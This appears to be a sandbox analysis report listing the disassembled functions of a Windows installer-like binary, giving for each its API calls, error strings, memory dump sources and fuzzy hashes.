Instruction ID: 11586c2ee4e3590055517dc8c2731e7f096a2cc39a1e776f4f726afa3f8ba204
Opcode Fuzzy Hash: 74a048da77296852356356e746e605794a950016d07ad10858f720a321cf2feb
Instruction Fuzzy Hash: C601527A110704EFCB11DB69E849E9F73B8BBC5725B104519E50A93650EF38EA05C721

Function 00A47E0D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000008,00000000,?,?,00A4819C,?,?,?,?,?,00000000,?,00000000), ref: 00A47E27
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00A4819C,?,?,?,?,?,00000000,?,00000000), ref: 00A47E34
GetLastError.KERNEL32(?,00A4819C,?,?,?,?,?,00000000,?,00000000), ref: 00A47E41

Strings

bitsengine.cpp, xrefs: 00A47E66
Failed to create BITS job complete event., xrefs: 00A47E70

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateCriticalErrorEventInitializeLastSection
String ID: Failed to create BITS job complete event.$bitsengine.cpp
API String ID: 3069647169-3441864216
Opcode ID: 9267d451c5d57ac0ae518007c3821ce31db52696b86d631e89152e7dfc0d44d3
Instruction ID: d7c2a7478a619e88a9c01491b7ac8edcc90725b377c9ba23e05aba04be47c42c
Opcode Fuzzy Hash: 9267d451c5d57ac0ae518007c3821ce31db52696b86d631e89152e7dfc0d44d3
Instruction Fuzzy Hash: BC018871254705AFD3109FA9DC86B6777ECFB08752B00453DF959C7180EB74D8448764

Function 00A47C44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000008,?,00000000,00000000,00000000,?,00A47DAE), ref: 00A47C58
LeaveCriticalSection.KERNEL32(00000008,?,00A47DAE), ref: 00A47C9D
SetEvent.KERNEL32(?,?,00A47DAE), ref: 00A47CB1

Strings

Failure while sending progress., xrefs: 00A47C8C
Failed to get BITS job state., xrefs: 00A47C71

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: Failed to get BITS job state.$Failure while sending progress.
API String ID: 3094578987-2876445054
Opcode ID: 3e7e76e365b6c80f4ed8741cc010befc8e30860131a950f85ea22f56bcee6f55
Instruction ID: b0b8f84e2a7778c5d4f257cdb93ee160e84074faf3f9de451a9c0ffc1903ec6c
Opcode Fuzzy Hash: 3e7e76e365b6c80f4ed8741cc010befc8e30860131a950f85ea22f56bcee6f55
Instruction Fuzzy Hash: 5A0171BA104705EFC712DB69D999D6F73B8BBD4322B100519E50A97250DB74E9008661

Function 00A2BBD1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000,?,00A2DA59,?,00000000,76C1B390,?,00000000), ref: 00A2BBE0
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 00A2BBED
LeaveCriticalSection.KERNEL32(?,?,00A2DA59,?,00000000,76C1B390,?,00000000), ref: 00A2BC02

Strings

userexperience.cpp, xrefs: 00A2BC1B
Engine active cannot be changed because it was already in that state., xrefs: 00A2BC25

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$CompareEnterExchangeInterlockedLeave
String ID: Engine active cannot be changed because it was already in that state.$userexperience.cpp
API String ID: 3376869089-1544469594
Opcode ID: 79944f24df1638c2ddfb7b75eb0cd9f98d323632b4aa627a66399f0379d5814d
Instruction ID: ecc36b7ff390afb279875e018054c15175c1416e11644cc0299b3e6e0bf0145f
Opcode Fuzzy Hash: 79944f24df1638c2ddfb7b75eb0cd9f98d323632b4aa627a66399f0379d5814d
Instruction Fuzzy Hash: FEF0F6722543287FE3105FA9AD85EA77BACFB19B537010539FD01AA180DF71AC0582B0

Function 00A29028 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00A28F71: FreeLibrary.KERNEL32(00000000), ref: 00A2901D

_memset.LIBCMT ref: 00A29040
GetVersionExW.KERNEL32(?,?,00000000,00A290EC), ref: 00A2904F
GetLastError.KERNEL32 ref: 00A29059

Strings

variable.cpp, xrefs: 00A2907E
Failed to get OS version from GetVersionExW, xrefs: 00A29088

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFreeLastLibraryVersion_memset
String ID: Failed to get OS version from GetVersionExW$variable.cpp
API String ID: 2453953334-413229814
Opcode ID: d75939a6597560d776a0a329b64bccfbe6072f5819dd7ac949ce3e4e8c1eb4c3
Instruction ID: dd4d05f7f0abe420a66883332c3c3276326205212ee418e3709679413d30247b
Opcode Fuzzy Hash: d75939a6597560d776a0a329b64bccfbe6072f5819dd7ac949ce3e4e8c1eb4c3
Instruction Fuzzy Hash: 96F0BEA138431B6AF3102ABEBDC7B7B469CAF65B56F00043CFA04D9192EFA8CC480524

Function 00A58688 Relevance: 7.6, APIs: 5, Instructions: 119registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

RegCloseKey.ADVAPI32(00000001,00000001,?,00000000,00000001,?,00000000,00000001,00000000,00020019,00000001,00A213BB,00A213BB,00020019,00000000,00000001), ref: 00A58751
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000,00000001,?,00000000,00000001,00000000,00020019), ref: 00A58792
RegCloseKey.ADVAPI32(00000001,00000001,00020019,00A213BB,?,00A213BB,00000000,00000000,?,00A213BB,00000001,00000000), ref: 00A587B3
RegCloseKey.ADVAPI32(00000000,00000001,00020019,00A213BB,?,00A213BB,00000000,00000000,?,00A213BB,00000001,00000000), ref: 00A587C4
RegCloseKey.ADVAPI32(00A213BB,?,00A213BB,00000000,00000000,?,00A213BB,00000001,00000000), ref: 00A587D8

Part of subcall function 00A53FDE: RegCloseKey.ADVAPI32(00000000), ref: 00A54144

Part of subcall function 00A53CE8: RegQueryInfoKeyW.ADVAPI32(00A213BB,00000000,00000000,00000000,?,00000000,00000000,00A213BB,00000000,00000000,00000000,00000000,80070002,00000000,?,00A5873D), ref: 00A53D03

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Close$InfoOpenQuery
String ID:
API String ID: 796878624-0
Opcode ID: 8d5698814f52429d91ae44e62bc79bfcfc213498db3bbc1ac6adbb8800811b3a
Instruction ID: a2d443374bd8b3022f15b4b088a14e8eb19a2e623dfd35b0f31c50dc536d652e
Opcode Fuzzy Hash: 8d5698814f52429d91ae44e62bc79bfcfc213498db3bbc1ac6adbb8800811b3a
Instruction Fuzzy Hash: 5141B67190122CFFDF229F90DD8599EBF79FF08B92B208466F814A6121C7354B95DBA0

Function 00A210DC Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,00000000,?,?,00A21ED9,?,?,?,?,?), ref: 00A21120
DeleteCriticalSection.KERNEL32(?,00000000,?,?,00A21ED9,?,?,?,?,?), ref: 00A2113A
TlsFree.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00A2120B
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00A21212
_memset.LIBCMT ref: 00A2121C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalDeleteSection$CloseFreeHandle_memset
String ID:
API String ID: 3611737199-0
Opcode ID: d5becbe86e205e8964e55a6c24f0b09d9592e9c99c6d00902084df9ec4660b57
Instruction ID: eb9c677b48fab3af16aa14419872a50a694e5008ee4aebb5d7ee85b43218c7bf
Opcode Fuzzy Hash: d5becbe86e205e8964e55a6c24f0b09d9592e9c99c6d00902084df9ec4660b57
Instruction Fuzzy Hash: 203120B1900716A7DA60EBB8E989F9B73DCAF14301F444D3DB66AE7041DB38E5058760

Function 00A2A691 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000001,00000000,00000000,00000000,?,?,00A2AB16,?,?,00000000,?,00000001,?,00000002,-00000001,00A28BDF), ref: 00A2A6A1
LeaveCriticalSection.KERNEL32(-00000001,00000002,00A28BDF,?,00A2AB16,?,?,00000000,?,00000001,?,00000002,-00000001,00A28BDF,00000001), ref: 00A2A73C

Strings

Failed to get value as string for variable: %ls, xrefs: 00A2A72B
Failed to format value '%ls' of variable: %ls, xrefs: 00A2A706
Failed to get variable: %ls, xrefs: 00A2A6D7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to format value '%ls' of variable: %ls$Failed to get value as string for variable: %ls$Failed to get variable: %ls
API String ID: 3168844106-1273532094
Opcode ID: 90535e9afe7b4e2338ab17ca47b5c4fd3be010cd198402fa2235bb86f8f303de
Instruction ID: 5d6f8115ff84d6bad731bec0d006bdf5316e9edfde1f492c5f2aaf895ad46e2b
Opcode Fuzzy Hash: 90535e9afe7b4e2338ab17ca47b5c4fd3be010cd198402fa2235bb86f8f303de
Instruction Fuzzy Hash: 2B110335600714FBCF229FA8ED84CAF3BB9FB683107248935F906A6111E3729940DB66

Function 00A4E1E5 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00A4E1F3

Part of subcall function 00A4BB40: __FF_MSGBANNER.LIBCMT ref: 00A4BB59
Part of subcall function 00A4BB40: __NMSG_WRITE.LIBCMT ref: 00A4BB60
Part of subcall function 00A4BB40: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,00A4C5F7,00000000,00000001,00000000,?,00A4BDA6,00000018,00A734C0,0000000C,00A4BE36), ref: 00A4BB85

_free.LIBCMT ref: 00A4E206

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: a5d2c5859fcd3e1ded0dbd62d61a756bbc686f809cd996da738d2cd2ce9470b4
Instruction ID: 004cdbea958ab3b6d0784488768683cdd8bc767d379eef1b4b653ab2d51c5d49
Opcode Fuzzy Hash: a5d2c5859fcd3e1ded0dbd62d61a756bbc686f809cd996da738d2cd2ce9470b4
Instruction Fuzzy Hash: 5311E73A944315EBCF21BBB4AD05ADA379DFFD0361B200525F858C6150DBB0C98193A1

Function 00A44D95 Relevance: 7.5, APIs: 5, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,00000000,00A45335), ref: 00A44DA7
CloseHandle.KERNEL32(?,00000000,00A45335), ref: 00A44DB4
CloseHandle.KERNEL32(?,00000000,00A45335), ref: 00A44DC2
CloseHandle.KERNEL32(?,00000000,00A45335), ref: 00A44DD0
UnmapViewOfFile.KERNEL32(?,00A45335), ref: 00A44DDF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$FileUnmapView
String ID:
API String ID: 260491571-0
Opcode ID: 9f90111122d23257e54177f06150c419819d698d80c7b3f5ce55cbe0d05fb2c9
Instruction ID: 90a5f4ef47aa454440ba5f695b1165235b32d87e31146e91b54d0075d4329c02
Opcode Fuzzy Hash: 9f90111122d23257e54177f06150c419819d698d80c7b3f5ce55cbe0d05fb2c9
Instruction Fuzzy Hash: EBF0F975A00B019BD730EF65CC44B5BB3ECBF88762F058818E495D3541D738E8018A60

Function 00A4C985 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00A4C991

Part of subcall function 00A49EC2: __getptd_noexit.LIBCMT ref: 00A49EC5
Part of subcall function 00A49EC2: __amsg_exit.LIBCMT ref: 00A49ED2

__getptd.LIBCMT ref: 00A4C9A8
__amsg_exit.LIBCMT ref: 00A4C9B6
__lock.LIBCMT ref: 00A4C9C6
__updatetlocinfoEx_nolock.LIBCMT ref: 00A4C9DA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: fec4278c860a3d28978ccbd181b56855af816934fd9844e63cd8dea3b3be573e
Instruction ID: c8f6c14c4f905e4ea6d423ba420e37fd13d04e2ace8b7ac40e9781c37f1f3c88
Opcode Fuzzy Hash: fec4278c860a3d28978ccbd181b56855af816934fd9844e63cd8dea3b3be573e
Instruction Fuzzy Hash: 85F0243AA42B10FED760FB78890376F32A07F80731F10860DF058AB2D3CB2458418A56

Function 00A54FEC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

#115.MSI(?), ref: 00A55019
#116.MSI(?,00000001,?), ref: 00A55039

Strings

2, xrefs: 00A551E8
wiutil.cpp, xrefs: 00A5522D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: #115#116
String ID: 2$wiutil.cpp
API String ID: 618785432-2873045267
Opcode ID: 0643f83bc2c9930521ab977e89d3c90d4599bd9e522fce79fa834eb459b02176
Instruction ID: 4352d4e64629d9fd1285f100323e0f144c5c1ca59edc4286b105da3df854c40c
Opcode Fuzzy Hash: 0643f83bc2c9930521ab977e89d3c90d4599bd9e522fce79fa834eb459b02176
Instruction Fuzzy Hash: F161C070D00A018FCB289F79C9A16AEBBB5FB94316B54877EDC06DF192D6309945CB90

Function 00A539A7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 153registrystringCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 00A539D0
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,?), ref: 00A53A08
lstrlenW.KERNEL32(00000000,?,00000000,00000000,?,?,00000004,00000000,?,?,?,?,?,00020019,00000000,?), ref: 00A53B12

Strings

regutil.cpp, xrefs: 00A53A7B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: QueryValue$lstrlen
String ID: regutil.cpp
API String ID: 3790715954-955085611
Opcode ID: 80db677a156f2a511aa36ee4590901597b29eeedd272e58ba49178b63017fcda
Instruction ID: e50dbbfc009876b4be186404e01eea705bae21a8a636de37e2afa26650645860
Opcode Fuzzy Hash: 80db677a156f2a511aa36ee4590901597b29eeedd272e58ba49178b63017fcda
Instruction Fuzzy Hash: 34519277900119AFCF21DF94C9C4AAEB7B5FB84392F218569FE01A7251D3319F498B90

Function 00A582F9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A58363
InternetCrackUrlW.WININET(?,00000000,90000000,?), ref: 00A58412
GetLastError.KERNEL32 ref: 00A5841C

Strings

uriutil.cpp, xrefs: 00A5844C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CrackErrorInternetLast_memset
String ID: uriutil.cpp
API String ID: 2372571340-476456875
Opcode ID: 36146c85b80fd4582c64b602456fb0fdf31e669184a484daf81e38a2679ca67c
Instruction ID: 2efe58054a728845f9262bb56dc2672b2c566df8f733a5b0fb8385c40e3107f4
Opcode Fuzzy Hash: 36146c85b80fd4582c64b602456fb0fdf31e669184a484daf81e38a2679ca67c
Instruction Fuzzy Hash: 7C61E271901238DBCF22DF65DD88ADDBBB4FB08B05F4044EAE909A6211DB345ED98F91

Function 00A53E63 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000002,?,00000000,00000000,?,?,00A4143E), ref: 00A53EBD
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00A4143E,?), ref: 00A53EDF
RegEnumKeyExW.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00A4143E,?,?,?), ref: 00A53F2A

Strings

regutil.cpp, xrefs: 00A53F51

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Enum$InfoQuery
String ID: regutil.cpp
API String ID: 73471667-955085611
Opcode ID: d94bf388daaf59473c77f16e84c407b116f9d9b2c922f59d0fc81c1a784be6fb
Instruction ID: 2bdc5a67409aebfa60b01fe9de047bb52ebbbd77be677c08564153d1c4a659a4
Opcode Fuzzy Hash: d94bf388daaf59473c77f16e84c407b116f9d9b2c922f59d0fc81c1a784be6fb
Instruction Fuzzy Hash: 2931B072A06225BBDF218BA0CD89DAFBBBCFF49B91F204425F905DA051D2715F4897A0

Function 00A568F6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A56906
ShellExecuteExW.SHELL32(?), ref: 00A56944
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00A569D5

Strings

<, xrefs: 00A56936

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseExecuteHandleShell_memset
String ID: <
API String ID: 1378689676-4251816714
Opcode ID: b772024d1a5275eecc99db5e168282571822f947cc133b9b5a779fe6480b7237
Instruction ID: 7037d6335aaa2b3559bd24cfbac70ef9c1fda537aecb744fd0059b8e084868d9
Opcode Fuzzy Hash: b772024d1a5275eecc99db5e168282571822f947cc133b9b5a779fe6480b7237
Instruction Fuzzy Hash: B631717591012ADBDB10CF98C944AEDBBB4FB04362F944516EC41EB351D6398D48CBE9

Function 00A375BD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A375CF

Strings

Failed to expect end symbol., xrefs: 00A37628
Failed to parse expression., xrefs: 00A37611
Failed to read next symbol., xrefs: 00A375F7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to expect end symbol.$Failed to parse expression.$Failed to read next symbol.
API String ID: 2102423945-1316734955
Opcode ID: 32636b62da162afd67c21dc9f1e5a338203bf5cf3ccd1f02116e434c8864068a
Instruction ID: ad406fa7f6b8f4728916532867cc4a510ce253f1564efd2ca3ec436e62b41bef
Opcode Fuzzy Hash: 32636b62da162afd67c21dc9f1e5a338203bf5cf3ccd1f02116e434c8864068a
Instruction Fuzzy Hash: F8119DB2905628BBDB20EEA89A82D9EB3BCEB54794F500026F911B7141D7305F0197A0

Function 00A4131A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

RegCloseKey.ADVAPI32(00000000,00000000,00000000,?,?,00020019,00000000,?,?,?,?,00A41476,?,?,?), ref: 00A413CD

Strings

Failed to initialize package from related bundle id: %ls, xrefs: 00A413AA
Failed to open uninstall key for potential related bundle: %ls, xrefs: 00A41341
Failed to ensure there is space for related bundles., xrefs: 00A41379

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseOpen
String ID: Failed to ensure there is space for related bundles.$Failed to initialize package from related bundle id: %ls$Failed to open uninstall key for potential related bundle: %ls
API String ID: 47109696-1717420724
Opcode ID: a7567a94e3d15e1f12502a101d0d5d924bcce7b9af546fbf7ee6cde5e7e77e04
